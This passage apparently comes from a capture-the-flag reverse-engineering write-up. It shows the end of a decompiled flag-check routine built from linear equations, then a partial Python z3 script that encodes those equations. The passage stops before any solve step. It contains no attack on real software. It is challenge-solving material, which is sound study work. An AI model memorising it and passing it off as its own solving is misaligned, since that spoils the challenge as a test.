       && 1644 * v22+ 1894 * v10+ 1868 * v20+ 2253 * v19+ 2667 * v7+ 2703 * v11+ 2547 * v21+ 2664 * v16+ 2869 * v5+ 2711 * v18+ 2912 * v6+ 3035 * v9+ 3299 * v8+ 3538 * v4+ 3771 * v3+ 3673 * v15+ 3811 * v12+ 3662 * v23+ 1035 * v32+ 3757 * v24+ 1316 * v31+ 1529 * v29+ 1741 * v28+ 1778 * v30+ 1859 * v26+ 2190 * v33+ 2842 * v34+ 3037 * v25+ 3723 * v27+ 2322 * v13+ 1333 * v14+ 1141 * v17 == 6484666
       && (_UNKNOWN *)(1040 * v5+ 1106 * v4+ 1006 * v15+ 1288 * v3+ 1084 * v21+ 1350 * v14+ 1370 * v13+ 1446 * v9+ 1393 * v17+ 1548 * v18+ 1729 * v12+ 1623 * v20+ 1890 * v11+ 1756 * v23+ 2101 * v16+ 2264 * v7+ 2648 * v8+ 2629 * v19+ 2954 * v22+ 3805 * v10+ 3942 * v6+ 3840 * v24+ 1538 * v34+ 1626 * v31+ 2376 * v26+ 2931 * v27+ 2966 * v25+ 2944 * v29+ 3308 * v28+ 3323 * v32+ 3439 * v30+ 3537 * v33) == &unk_5535D1
       && 1270 * v21+ 1573 * v24+ 2118 * v3+ 1930 * v12+ 2115 * v8+ 2072 * v20+ 2541 * v6+ 2386 * v16+ 2639 * v9+ 2704 * v11+ 2673 * v15+ 2833 * v7+ 2929 * v5+ 2745 * v18+ 3082 * v4+ 2977 * v13+ 3021 * v17+ 3306 * v14+ 3658 * v10+ 3777 * v23+ 3829 * v22+ 1161 * v29+ 3924 * v19+ 1636 * v30+ 1574 * v34+ 1767 * v32+ 2290 * v28+ 2355 * v31+ 2512 * v26+ 3097 * v25+ 3655 * v33+ 3986 * v27 == 6823719
       && (_UNKNOWN *)(1724 * v8+ 1191 * v12+ 1350 * v5+ 1287 * v16+ 1430 * v10+ 1457 * v15+ 1588 * v24+ 2031 * v3+ 1753 * v17+ 1758 * v22+ 2150 * v6+ 2107 * v11+ 2383 * v18+ 2941 * v7+ 2966 * v9+ 3209 * v21+ 3337 * v14+ 3909 * v20+ 3945 * v19+ 1422 * v25+ 1506 * v27+ 1762 * v33+ 1946 * v26+ 1900 * v31+ 2030 * v28+ 2413 * v29+ 2655 * v34+ 3168 * v30+ 3591 * v32+ 1221 * v23+ 1007 * v13+ 1052 * v4) == &unk_559DDE
       && 1021 * v18+ 1359 * v4+ 1350 * v12+ 1483 * v8+ 1374 * v15+ 1348 * v19+ 1548 * v7+ 1624 * v5+ 1595 * v9+ 1602 * v11+ 1484 * v22+ 1836 * v14+ 2041 * v10+ 2291 * v13+ 2596 * v17+ 2668 * v21+ 2734 * v24+ 3020 * v16+ 3410 * v3+ 3199 * v20+ 3537 * v6+ 3281 * v23+ 1053 * v25+ 1127 * v31+ 1467 * v32+ 1728 * v33+ 1788 * v30+ 1900 * v29+ 1938 * v28+ 2999 * v26+ 3418 * v27+ 3893 * v34 == 5330889
       && 1224 * v21+ 1648 * v3+ 1303 * v20+ 1514 * v10+ 1617 * v8+ 1935 * v13+ 2483 * v4+ 2519 * v17+ 2616 * v12+ 2556 * v18+ 2813 * v9+ 2798 * v19+ 3008 * v22+ 3310 * v7+ 3309 * v11+ 3249 * v16+ 3421 * v6+ 3451 * v14+ 3600 * v15+ 3807 * v5+ 3609 * v24+ 1093 * v29+ 1195 * v27+ 3844 * v23+ 1523 * v31+ 1503 * v34+ 2587 * v32+ 3343 * v30+ 3314 * v33+ 3485 * v28+ 3702 * v26+ 3989 * v25 == 6888831
       && 1038 * v19+ 1157 * v14+ 1281 * v10+ 1179 * v20+ 1190 * v21+ 1191 * v24+ 1292 * v18+ 1618 * v6+ 1538 * v17+ 2009 * v13+ 2200 * v4+ 2448 * v3+ 2458 * v5+ 2589 * v11+ 2796 * v8+ 2958 * v23+ 3580 * v7+ 3472 * v15+ 3622 * v16+ 3657 * v22+ 1272 * v31+ 2156 * v27+ 2202 * v29+ 2646 * v34+ 2815 * v25+ 2888 * v26+ 3055 * v32+ 3328 * v33+ 3511 * v28+ 3634 * v30+ 3798 * (v9 + v12) == 6321788
       && 1651 * v14+ 1875 * v5+ 1881 * v11+ 1892 * v19+ 2021 * v15+ 2433 * v6+ 2416 * v10+ 2476 * v18+ 2886 * v4+ 2712 * v22+ 2998 * v12+ 3142 * v8+ 3362 * v3+ 3075 * v21+ 3510 * v24+ 3699 * v16+ 1003 * v25+ 3600 * v23+ 3844 * v9+ 1255 * v31+ 1789 * v30+ 2401 * v29+ 2423 * v32+ 2585 * v34+ 3002 * v33+ 3688 * v28+ 3861 * v27+ 3869 * (v26 + v7)+ 2322 * v13+ 1557 * v17+ 1389 * v20 == 6796074
       && 1182 * v3+ 1088 * v5+ 1425 * v19+ 1434 * v21+ 1512 * v24+ 1832 * v9+ 1932 * v10+ 2169 * v11+ 2285 * v4+ 2426 * v6+ 2329 * v16+ 2617 * v7+ 2441 * v23+ 2555 * v20+ 2549 * v22+ 2721 * v13+ 2692 * v18+ 2976 * v15+ 3154 * v12+ 3189 * v14+ 3368 * v17+ 3757 * v8+ 1060 * v26+ 1145 * v25+ 1423 * v30+ 1529 * v34+ 1718 * v27+ 1753 * v28+ 2139 * v29+ 2279 * v31+ 2687 * v33+ 2996 * v32 == 5803503
       && 1193 * v7+ 1114 * v17+ 1297 * v9+ 1263 * v22+ 1455 * v15+ 1488 * v13+ 1355 * v24+ 1949 * v6+ 2105 * v12+ 2286 * v11+ 2282 * v14+ 2549 * v3+ 2316 * v19+ 2866 * v5+ 2734 * v16+ 3195 * v8+ 3437 * v4+ 3416 * v10+ 3701 * v18+ 3671 * v20+ 3786 * v21+ 1756 * v32+ 1912 * v27+ 2185 * v25+ 2321 * v33+ 2558 * v34+ 2808 * v28+ 2832 * v29+ 3053 * v26+ 3945 * v30+ 2313 * (v31 + v23) == 6283755
       && 1044 * v15+ 1481 * v5+ 1659 * v16+ 1982 * v4+ 2144 * v6+ 2129 * v9+ 2466 * v14+ 2745 * v23+ 3196 * v7+ 3161 * v10+ 3024 * v20+ 3222 * v8+ 3173 * v13+ 3154 * v21+ 3253 * v19+ 3292 * v17+ 3646 * v3+ 3450 * v12+ 3535 * v11+ 3439 * v18+ 3510 * v22+ 3649 * v24+ 1787 * v31+ 1905 * v32+ 2022 * v28+ 2186 * v25+ 2474 * v27+ 2391 * v34+ 3018 * v30+ 3168 * v29+ 3313 * v26+ 3958 * v33 == 7038880
       && 1314 * v7+ 1372 * v11+ 1625 * v4+ 2202 * v3+ 2070 * v14+ 2414 * v6+ 2297 * v16+ 2487 * v15+ 2518 * v17+ 2824 * v8+ 2874 * v10+ 2763 * v21+ 3159 * v12+ 2985 * v24+ 3177 * v18+ 3334 * v9+ 3477 * v5+ 3192 * v23+ 3270 * v20+ 3668 * v22+ 3833 * v13+ 1102 * v25+ 3773 * v19+ 1527 * v31+ 2099 * v30+ 2543 * v33+ 2627 * v28+ 2802 * v29+ 2924 * v34+ 3213 * v27+ 3480 * v26+ 3625 * v32 == 6980452
       && 1142 * v14+ 1432 * v8+ 1593 * v10+ 2003 * v7+ 2061 * v5+ 2031 * v12+ 1974 * v22+ 2064 * v17+ 2187 * v19+ 2286 * v16+ 2413 * v21+ 2725 * v11+ 3023 * v3+ 2900 * v18+ 3181 * v6+ 3222 * v15+ 3170 * v24+ 3270 * v23+ 3505 * v9+ 3360 * v20+ 3492 * v13+ 3972 * v4+ 1235 * v25+ 1140 * v33+ 1550 * v32+ 1833 * v26+ 1896 * v29+ 2285 * v31+ 2711 * v27+ 2667 * v30+ 2760 * v28+ 2694 * v34 == 6213703
       && 1119 * v19+ 1087 * v22+ 1624 * v4+ 1694 * v8+ 2019 * v5+ 2018 * v17+ 2060 * v23+ 2466 * v12+ 2484 * v16+ 2464 * v18+ 2658 * v9+ 2593 * v14+ 2678 * v13+ 3125 * v6+ 2926 * v24+ 3302 * v10+ 3371 * v11+ 3695 * v3+ 3576 * v7+ 1010 * v25+ 3851 * v15+ 1043 * v31+ 3800 * v21+ 1227 * v30+ 2164 * v33+ 2757 * v26+ 2758 * v32+ 3170 * v27+ 3109 * v34+ 3315 * v28+ 1576 * (v29 + 2 * v20) == 6470003
       && 1123 * v17+ 1487 * v6+ 1596 * v18+ 1902 * v15+ 2195 * v21+ 2261 * v20+ 2423 * v13+ 2264 * v23+ 2520 * v14+ 2627 * v10+ 2882 * v3+ 2928 * v12+ 3086 * v4+ 3260 * v24+ 3565 * v5+ 3577 * v7+ 3625 * v9+ 3629 * v11+ 3525 * v22+ 1202 * v25+ 3962 * v16+ 1153 * v33+ 1411 * v31+ 1520 * v34+ 1771 * v30+ 2547 * v32+ 3030 * v27+ 3011 * v29+ 3116 * v26+ 3326 * v28+ 1737 * (v19 + 2 * v8) == 6591297
       && 1188 * v5+ 1439 * v20+ 1763 * v6+ 1900 * v11+ 1760 * v22+ 1958 * v13+ 2007 * v16+ 2200 * v18+ 2357 * v23+ 2829 * v10+ 2940 * v7+ 3058 * v19+ 3365 * v15+ 3303 * v21+ 3477 * v17+ 3790 * v3+ 3578 * v14+ 3713 * v12+ 3851 * v8+ 3924 * v4+ 1113 * v27+ 1477 * v25+ 1384 * v34+ 1993 * v33+ 2428 * v32+ 2801 * v29+ 2850 * v30+ 3108 * v26+ 3460 * v31+ 3887 * v28+ 1662 * (v9 + 2 * v24) == 6764513
       && 1540 * v4+ 1357 * v16+ 1835 * v7+ 1823 * v11+ 2111 * v5+ 1896 * v23+ 2405 * v3+ 2022 * v24+ 2357 * v18+ 2704 * v6+ 2626 * v15+ 3356 * v8+ 3350 * v10+ 3271 * v20+ 3337 * v19+ 3485 * v12+ 3361 * v22+ 3556 * v13+ 3526 * v17+ 1041 * v30+ 1129 * v32+ 3869 * v21+ 1229 * v33+ 1423 * v31+ 1696 * v28+ 1717 * v27+ 2112 * v26+ 2565 * v34+ 3617 * v25+ 3585 * v29+ 1072 * (v14 + v9 + 2 * v14) == 6224197
       && 1457 * v13+ 1584 * v9+ 1654 * v11+ 1911 * v19+ 1938 * v24+ 2296 * v5+ 2067 * v21+ 2532 * v15+ 2675 * v23+ 2962 * v8+ 2972 * v12+ 2848 * v22+ 3369 * v14+ 3483 * v18+ 3607 * v17+ 3734 * v10+ 3855 * v6+ 3635 * v20+ 3932 * v4+ 3963 * v16+ 1221 * v33+ 1459 * v31+ 1511 * v28+ 2142 * v26+ 2741 * v29+ 3223 * v25+ 3175 * v30+ 3754 * v27+ 3870 * v34+ 3825 * v32+ 1559 * v3+ 1053 * v7 == 7018874
       && 1205 * v5+ 1193 * v11+ 1300 * v22+ 1734 * v12+ 1881 * v21+ 1962 * v19+ 2279 * v9+ 2176 * v17+ 2626 * v3+ 2637 * v13+ 2701 * v10+ 2548 * v20+ 2783 * v6+ 2705 * v18+ 2934 * v4+ 2641 * v24+ 2993 * v16+ 3398 * v8+ 3534 * v14+ 3413 * v23+ 3556 * v15+ 3850 * v7+ 1443 * v34+ 1611 * v29+ 1855 * v26+ 1877 * v30+ 2142 * v27+ 2855 * v25+ 2752 * v33+ 3462 * v28+ 3424 * v31+ 3678 * v32 == 6717789
       && 1313 * v6+ 1145 * v24+ 1673 * v4+ 1610 * v10+ 1695 * v14+ 1818 * v9+ 1875 * v7+ 2040 * v5+ 2017 * v11+ 2296 * v3+ 2112 * v13+ 2169 * v15+ 2090 * v20+ 2497 * v21+ 2685 * v19+ 3072 * v8+ 3040 * v17+ 2990 * v23+ 3488 * v18+ 3589 * v22+ 3831 * v16+ 3932 * v12+ 1335 * v31+ 1651 * v27+ 2044 * v29+ 2314 * v26+ 2353 * v25+ 2605 * v34+ 3192 * v33+ 3258 * v30+ 3740 * v28+ 3759 * v32 == 6502052
       && 1181 * v4+ 1077 * v22+ 1467 * v15+ 1829 * v6+ 1813 * v19+ 2264 * v3+ 2240 * v18+ 2503 * v5+ 2561 * v13+ 2627 * v14+ 3129 * v17+ 3292 * v9+ 3174 * v20+ 3215 * v23+ 3549 * v11+ 3608 * v8+ 3556 * v12+ 3541 * v16+ 3775 * v7+ 3683 * v24+ 3997 * v10+ 1759 * v30+ 2027 * v33+ 2084 * v34+ 2824 * v27+ 3213 * v25+ 3392 * v29+ 3428 * v32+ 3670 * v31+ 3992 * v26+ 3601 * (v21 + v28) == 7439610
       && 1010 * v15+ 1221 * v11+ 1287 * v7+ 1164 * v19+ 1240 * v18+ 1498 * v5+ 1503 * v10+ 1489 * v17+ 1786 * v4+ 2075 * v3+ 1970 * v6+ 1704 * v24+ 2171 * v16+ 2663 * v12+ 2542 * v20+ 2619 * v21+ 2591 * v23+ 3363 * v14+ 3604 * v9+ 3706 * v13+ 3847 * v8+ 1098 * v33+ 1232 * v26+ 3913 * v22+ 1303 * v31+ 1750 * v27+ 2205 * v28+ 2539 * v30+ 2818 * v25+ 2975 * v29+ 3247 * v34+ 3422 * v32 == 5861762
       && 1262 * v14+ 1545 * v9+ 1540 * v20+ 1678 * v12+ 1944 * v18+ 1870 * v24+ 2584 * v3+ 2289 * v17+ 2318 * v23+ 2648 * v4+ 2508 * v22+ 2712 * v10+ 2769 * v13+ 2913 * v7+ 3075 * v8+ 2985 * v16+ 3245 * v21+ 3546 * v11+ 3519 * v15+ 3864 * v6+ 3971 * v5+ 1132 * v27+ 3865 * v19+ 1152 * v29+ 1472 * v28+ 1601 * v25+ 2087 * v30+ 2323 * v26+ 2570 * v31+ 3103 * v34+ 3763 * v32+ 3901 * v33 == 6606266
       && 1543 * v10+ 1637 * v14+ 1608 * v21+ 2347 * v11+ 2409 * v15+ 2588 * v19+ 2681 * v18+ 3015 * v7+ 2758 * v24+ 3088 * v12+ 3049 * v17+ 3423 * v3+ 3060 * v22+ 3342 * v20+ 3600 * v5+ 3565 * v8+ 3463 * v16+ 3969 * v6+ 3943 * v13+ 1067 * v34+ 1430 * v31+ 1690 * v28+ 1748 * v33+ 1843 * v30+ 2620 * v32+ 2949 * v29+ 3146 * v27+ 3888 * v26+ 3954 * v25+ 1221 * v23+ 1527 * v4+ 1028 * v9 == 6637643
       && 1035 * v5+ 1185 * v7+ 1359 * v14+ 1748 * v12+ 1853 * v9+ 1766 * v16+ 2038 * v8+ 2001 * v24+ 2536 * v3+ 2411 * v21+ 2629 * v10+ 2923 * v13+ 2944 * v17+ 3226 * v6+ 3224 * v11+ 3257 * v15+ 3318 * v19+ 3355 * v23+ 3783 * v4+ 3726 * v20+ 3955 * v18+ 1496 * v26+ 1515 * v28+ 1584 * v27+ 2142 * v33+ 2196 * v34+ 2549 * v25+ 3342 * v30+ 3913 * v32+ 3964 * v29+ 1025 * (v31 + v22 + 2 * v31) == 6620539
       && 1429 * v8+ 1705 * v10+ 1948 * v3+ 1652 * v22+ 1814 * v19+ 2072 * v4+ 1838 * v24+ 2036 * v16+ 2375 * v13+ 2565 * v15+ 3173 * v7+ 3141 * v18+ 3426 * v5+ 3404 * v9+ 3256 * v21+ 3606 * v6+ 3626 * v11+ 3812 * v12+ 1015 * v27+ 3736 * v17+ 1230 * v29+ 3936 * v23+ 3994 * v20+ 2131 * v28+ 2355 * v26+ 3011 * v32+ 3482 * v25+ 3625 * v31+ 3637 * v33+ 3841 * v30+ 1093 * (v14 + 2 * v34) == 6958794
       && 1028 * v24+ 1148 * v19+ 1109 * v23+ 1416 * v9+ 1634 * v6+ 2233 * v13+ 2262 * v12+ 2353 * v8+ 2303 * v15+ 2213 * v22+ 2452 * v10+ 2690 * v3+ 2650 * v4+ 2893 * v7+ 3008 * v11+ 3124 * v20+ 3256 * v18+ 3303 * v17+ 3454 * v14+ 3662 * v5+ 1080 * v26+ 1050 * v29+ 1155 * v30+ 1318 * v27+ 1264 * v32+ 1676 * v34+ 2361 * v31+ 2858 * v28+ 3200 * v25+ 3903 * v33+ 1317 * (v21 + 2 * v16) == 5945386
       && 1003 * v22+ 1561 * v6+ 1674 * v11+ 1831 * v15+ 1948 * v8+ 1923 * v14+ 1878 * v17+ 1781 * v24+ 2008 * v19+ 1945 * v23+ 2282 * v9+ 2489 * v7+ 2369 * v16+ 2653 * v10+ 2619 * v20+ 3220 * v12+ 3259 * v18+ 3402 * v13+ 3643 * v3+ 3909 * v4+ 3902 * v5+ 3971 * v21+ 1392 * v26+ 1410 * v34+ 1698 * v29+ 1722 * v31+ 2037 * v33+ 2313 * v28+ 3504 * v25+ 3589 * v30+ 3685 * v27+ 3938 * v32 == 6697494
       && 1058 * v13+ 1234 * v4+ 1117 * v17+ 1039 * v22+ 1212 * v23+ 1508 * v5+ 1493 * v8+ 1330 * v21+ 1555 * v19+ 1961 * v6+ 1959 * v7+ 1937 * v11+ 2269 * v10+ 2461 * v3+ 2215 * v18+ 2515 * v9+ 2869 * v12+ 2815 * v20+ 2971 * v15+ 3264 * v16+ 3288 * v24+ 3700 * v14+ 1484 * v29+ 1541 * v34+ 1774 * v30+ 2082 * v25+ 2085 * v27+ 2954 * v26+ 2951 * v33+ 3380 * v31+ 3710 * v28+ 3815 * v32 == 5896567
       && 1028 * v19+ 1363 * v18+ 1788 * v8+ 1790 * v16+ 1778 * v21+ 1941 * v15+ 2008 * v14+ 2184 * v20+ 2200 * v22+ 2679 * v4+ 2689 * v12+ 2898 * v6+ 2723 * v17+ 3073 * v7+ 3110 * v5+ 2885 * v24+ 3113 * v13+ 3071 * v23+ 3977 * v9+ 3956 * v11+ 1629 * v34+ 1676 * v33+ 1974 * v25+ 2071 * v26+ 2867 * v28+ 3153 * v29+ 3168 * v31+ 3333 * v27+ 3295 * v30+ 3825 * v32+ 1132 * v10+ 1115 * v3 == 6410858
       && 1080 * v8+ 1309 * v5+ 1249 * v10+ 1726 * v20+ 1681 * v23+ 1816 * v18+ 2116 * v9+ 2650 * v3+ 2528 * v12+ 2693 * v6+ 2686 * v7+ 2516 * v19+ 2666 * v21+ 2864 * v14+ 2964 * v24+ 3087 * v22+ 3405 * v16+ 3421 * v15+ 3598 * v4+ 3667 * v11+ 3679 * v13+ 1021 * v27+ 3826 * v17+ 1064 * v30+ 2340 * v25+ 3309 * v31+ 3415 * v32+ 3686 * v26+ 3662 * v28+ 3721 * v29+ 3873 * v34+ 3902 * v33 == 7041898 )
  {
    if ( ++v1 >= 10 )
      return 1;
  }
  return 0;
}

Which is pretty easily z3-able:

Mã:

import z3

def main():
    s = z3.Solver()
    v3 = z3.Int('v3')
    v4 = z3.Int('v4')
    v5 = z3.Int('v5')
    v6 = z3.Int('v6')
    v7 = z3.Int('v7')
    v8 = z3.Int('v8')
    v9 = z3.Int('v9')
    v10 = z3.Int('v10')
    v11 = z3.Int('v11')
    v12 = z3.Int('v12')
    v13 = z3.Int('v13')
    v14 = z3.Int('v14')
    v15 = z3.Int('v15')
    v16 = z3.Int('v16')
    v17 = z3.Int('v17')
    v18 = z3.Int('v18')
    v19 = z3.Int('v19')
    v20 = z3.Int('v20')
    v21 = z3.Int('v21')
    v22 = z3.Int('v22')
    v23 = z3.Int('v23')
    v24 = z3.Int('v24')
    v25 = z3.Int('v25')
    v26 = z3.Int('v26')
    v27 = z3.Int('v27')
    v28 = z3.Int('v28')
    v29 = z3.Int('v29')
    v30 = z3.Int('v30')
    v31 = z3.Int('v31')
    v32 = z3.Int('v32')
    v33 = z3.Int('v33')
    v34 = z3.Int('v34')

    s.add(1040 * v5 + 1106 * v4 + 1006 * v15 + 1288 * v3 + 1084 * v21 + 1350 * v14 + 1370 * v13 + 1446 * v9 + 1393 * v17 + 1548 * v18 + 1729 * v12 + 1623 * v20 + 1890 * v11 + 1756 * v23 + 2101 * v16 + 2264 * v7 + 2648 * v8 + 2629 * v19 + 2954 * v22 + 3805 * v10 + 3942 * v6 + 3840 * v24 + 1538 * v34 + 1626 * v31 + 2376 * v26 + 2931 * v27 + 2966 * v25 + 2944 * v29 + 3308 * v28 + 3323 * v32 + 3439 * v30 + 3537 * v33 == 5584337)
    s.add(1724 * v8 + 1191 * v12 + 1350 * v5 + 1287 * v16 + 1430 * v10 + 1457 * v15 + 1588 * v24 + 2031 * v3 + 1753 * v17 + 1758 * v22 + 2150 * v6 + 2107 * v11 + 2383 * v18 + 2941 * v7 + 2966 * v9 + 3209 * v21 + 3337 * v14 + 3909 * v20 + 3945 * v19 + 1422 * v25 + 1506 * v27 + 1762 * v33 + 1946 * v26 + 1900 * v31 + 2030 * v28 + 2413 * v29 + 2655 * v34 + 3168 * v30 + 3591 * v32 + 1221 * v23 + 1007 * v13 + 1052 * v4 == 5610974)
    s.add(1467 * v4 + 1464 * v12 + 1491 * v18 + 1961 * v17 + 2169 * v7 + 2145 * v14 + 3358 * v10 + 3281 * v15 + 3500 * v6 + 3478 * v9 + 3391 * v23 + 3436 * v22 + 3705 * v13 + 3604 * v24 + 1153 * v26 + 3962 * v11 + 3942 * v20 + 1292 * v27 + 3995 * v19 + 1382 * v28 + 1716 * v30 + 1726 * v34 + 1902 * v25 + 2718 * v31 + 2895 * v32 + 3421 * v29 + 3447 * v33 + 2827 * (v21 + v16) + 1724 * v8 + 1334 * v5 + 1041 * v3 == 6528434)
    s.add(1644 * v22 + 1894 * v10 + 1868 * v20 + 2253 * v19 + 2667 * v7 + 2703 * v11 + 2547 * v21 + 2664 * v16 + 2869 * v5 + 2711 * v18 + 2912 * v6 + 3035 * v9 + 3299 * v8 + 3538 * v4 + 3771 * v3 + 3673 * v15 + 3811 * v12 + 3662 * v23 + 1035 * v32 + 3757 * v24 + 1316 * v31 + 1529 * v29 + 1741 * v28 + 1778 * v30 + 1859 * v26 + 2190 * v33 + 2842 * v34 + 3037 * v25 + 3723 * v27 + 2322 * v13 + 1333 * v14 + 1141 * v17 == 6484666)
    s.add(1270 * v21 + 1573 * v24 + 2118 * v3 + 1930 * v12 + 2115 * v8 + 2072 * v20 + 2541 * v6 + 2386 * v16 + 2639 * v9 + 2704 * v11 + 2673 * v15 + 2833 * v7 + 2929 * v5 + 2745 * v18 + 3082 * v4 + 2977 * v13 + 3021 * v17 + 3306 * v14 + 3658 * v10 + 3777 * v23 + 3829 * v22 + 1161 * v29 + 3924 * v19 + 1636 * v30 + 1574 * v34 + 1767 * v32 + 2290 * v28 + 2355 * v31 + 2512 * v26 + 3097 * v25 + 3655 * v33 + 3986 * v27 == 6823719)
    s.add(1021 * v18 + 1359 * v4 + 1350 * v12 + 1483 * v8 + 1374 * v15 + 1348 * v19 + 1548 * v7 + 1624 * v5 + 1595 * v9 + 1602 * v11 + 1484 * v22 + 1836 * v14 + 2041 * v10 + 2291 * v13 + 2596 * v17 + 2668 * v21 + 2734 * v24 + 3020 * v16 + 3410 * v3 + 3199 * v20 + 3537 * v6 + 3281 * v23 + 1053 * v25 + 1127 * v31 + 1467 * v32 + 1728 * v33 + 1788 * v30 + 1900 * v29 + 1938 * v28 + 2999 * v26 + 3418 * v27 + 3893 * v34 == 5330889)
    s.add(1224 * v21 + 1648 * v3 + 1303 * v20 + 1514 * v10 + 1617 * v8 + 1935 * v13 + 2483 * v4 + 2519 * v17 + 2616 * v12 + 2556 * v18 + 2813 * v9 + 2798 * v19 + 3008 * v22 + 3310 * v7 + 3309 * v11 + 3249 * v16 + 3421 * v6 + 3451 * v14 + 3600 * v15 + 3807 * v5 + 3609 * v24 + 1093 * v29 + 1195 * v27 + 3844 * v23 + 1523 * v31 + 1503 * v34 + 2587 * v32 + 3343 * v30 + 3314 * v33 + 3485 * v28 + 3702 * v26 + 3989 * v25 == 6888831)
    s.add(1038 * v19 + 1157 * v14 + 1281 * v10 + 1179 * v20 + 1190 * v21 + 1191 * v24 + 1292 * v18 + 1618 * v6 + 1538 * v17 + 2009 * v13 + 2200 * v4 + 2448 * v3 + 2458 * v5 + 2589 * v11 + 2796 * v8 + 2958 * v23 + 3580 * v7 + 3472 * v15 + 3622 * v16 + 3657 * v22 + 1272 * v31 + 2156 * v27 + 2202 * v29 + 2646 * v34 + 2815 * v25 + 2888 * v26 + 3055 * v32 + 3328 * v33 + 3511 * v28 + 3634 * v30 + 3798 * (v9 + v12) == 6321788)
    s.add(1651 * v14 + 1875 * v5 + 1881 * v11 + 1892 * v19 + 2021 * v15 + 2433 * v6 + 2416 * v10 + 2476 * v18 + 2886 * v4 + 2712 * v22 + 2998 * v12 + 3142 * v8 + 3362 * v3 + 3075 * v21 + 3510 * v24 + 3699 * v16 + 1003 * v25 + 3600 * v23 + 3844 * v9 + 1255 * v31 + 1789 * v30 + 2401 * v29 + 2423 * v32 + 2585 * v34 + 3002 * v33 + 3688 * v28 + 3861 * v27 + 3869 * (v26 + v7) + 2322 * v13 + 1557 * v17 + 1389 * v20 == 6796074)
    s.add(1182 * v3 + 1088 * v5 + 1425 * v19 + 1434 * v21 + 1512 * v24 + 1832 * v9 + 1932 * v10 + 2169 * v11 + 2285 * v4 + 2426 * v6 + 2329 * v16 + 2617 * v7 + 2441 * v23 + 2555 * v20 + 2549 * v22 + 2721 * v13 + 2692 * v18 + 2976 * v15 + 3154 * v12 + 3189 * v14 + 3368 * v17 + 3757 * v8 + 1060 * v26 + 1145 * v25 + 1423 * v30 + 1529 * v34 + 1718 * v27 + 1753 * v28 + 2139 * v29 + 2279 * v31 + 2687 * v33 + 2996 * v32 == 5803503)
    s.add(1193 * v7 + 1114 * v17 + 1297 * v9 + 1263 * v22 + 1455 * v15 + 1488 * v13 + 1355 * v24 + 1949 * v6 + 2105 * v12 + 2286 * v11 + 2282 * v14 + 2549 * v3 + 2316 * v19 + 2866 * v5 + 2734 * v16 + 3195 * v8 + 3437 * v4 + 3416 * v10 + 3701 * v18 + 3671 * v20 + 3786 * v21 + 1756 * v32 + 1912 * v27 + 2185 * v25 + 2321 * v33 + 2558 * v34 + 2808 * v28 + 2832 * v29 + 3053 * v26 + 3945 * v30 + 2313 * (v31 + v23) == 6283755)
    s.add(1044 * v15 + 1481 * v5 + 1659 * v16 + 1982 * v4 + 2144 * v6 + 2129 * v9 + 2466 * v14 + 2745 * v23 + 3196 * v7 + 3161 * v10 + 3024 * v20 + 3222 * v8 + 3173 * v13 + 3154 * v21 + 3253 * v19 + 3292 * v17 + 3646 * v3 + 3450 * v12 + 3535 * v11 + 3439 * v18 + 3510 * v22 + 3649 * v24 + 1787 * v31 + 1905 * v32 + 2022 * v28 + 2186 * v25 + 2474 * v27 + 2391 * v34 + 3018 * v30 + 3168 * v29 + 3313 * v26 + 3958 * v33 == 7038880)
    s.add(1314 * v7 + 1372 * v11 + 1625 * v4 + 2202 * v3 + 2070 * v14 + 2414 * v6 + 2297 * v16 + 2487 * v15 + 2518 * v17 + 2824 * v8 + 2874 * v10 + 2763 * v21 + 3159 * v12 + 2985 * v24 + 3177 * v18 + 3334 * v9 + 3477 * v5 + 3192 * v23 + 3270 * v20 + 3668 * v22 + 3833 * v13 + 1102 * v25 + 3773 * v19 + 1527 * v31 + 2099 * v30 + 2543 * v33 + 2627 * v28 + 2802 * v29 + 2924 * v34 + 3213 * v27 + 3480 * v26 + 3625 * v32 == 6980452)
    s.add(1142 * v14 + 1432 * v8 + 1593 * v10 + 2003 * v7 + 2061 * v5 + 2031 * v12 + 1974 * v22 + 2064 * v17 + 2187 * v19 + 2286 * v16 + 2413 * v21 + 2725 * v11 + 3023 * v3 + 2900 * v18 + 3181 * v6 + 3222 * v15 + 3170 * v24 + 3270 * v23 + 3505 * v9 + 3360 * v20 + 3492 * v13 + 3972 * v4 + 1235 * v25 + 1140 * v33 + 1550 * v32 + 1833 * v26 + 1896 * v29 + 2285 * v31 + 2711 * v27 + 2667 * v30 + 2760 * v28 + 2694 * v34 == 6213703)
    s.add(1119 * v19 + 1087 * v22 + 1624 * v4 + 1694 * v8 + 2019 * v5 + 2018 * v17 + 2060 * v23 + 2466 * v12 + 2484 * v16 + 2464 * v18 + 2658 * v9 + 2593 * v14 + 2678 * v13 + 3125 * v6 + 2926 * v24 + 3302 * v10 + 3371 * v11 + 3695 * v3 + 3576 * v7 + 1010 * v25 + 3851 * v15 + 1043 * v31 + 3800 * v21 + 1227 * v30 + 2164 * v33 + 2757 * v26 + 2758 * v32 + 3170 * v27 + 3109 * v34 + 3315 * v28 + 1576 * (v29 + 2 * v20) == 6470003)
    s.add(1123 * v17 + 1487 * v6 + 1596 * v18 + 1902 * v15 + 2195 * v21 + 2261 * v20 + 2423 * v13 + 2264 * v23 + 2520 * v14 + 2627 * v10 + 2882 * v3 + 2928 * v12 + 3086 * v4 + 3260 * v24 + 3565 * v5 + 3577 * v7 + 3625 * v9 + 3629 * v11 + 3525 * v22 + 1202 * v25 + 3962 * v16 + 1153 * v33 + 1411 * v31 + 1520 * v34 + 1771 * v30 + 2547 * v32 + 3030 * v27 + 3011 * v29 + 3116 * v26 + 3326 * v28 + 1737 * (v19 + 2 * v8) == 6591297)
    s.add(1188 * v5 + 1439 * v20 + 1763 * v6 + 1900 * v11 + 1760 * v22 + 1958 * v13 + 2007 * v16 + 2200 * v18 + 2357 * v23 + 2829 * v10 + 2940 * v7 + 3058 * v19 + 3365 * v15 + 3303 * v21 + 3477 * v17 + 3790 * v3 + 3578 * v14 + 3713 * v12 + 3851 * v8 + 3924 * v4 + 1113 * v27 + 1477 * v25 + 1384 * v34 + 1993 * v33 + 2428 * v32 + 2801 * v29 + 2850 * v30 + 3108 * v26 + 3460 * v31 + 3887 * v28 + 1662 * (v9 + 2 * v24) == 6764513)
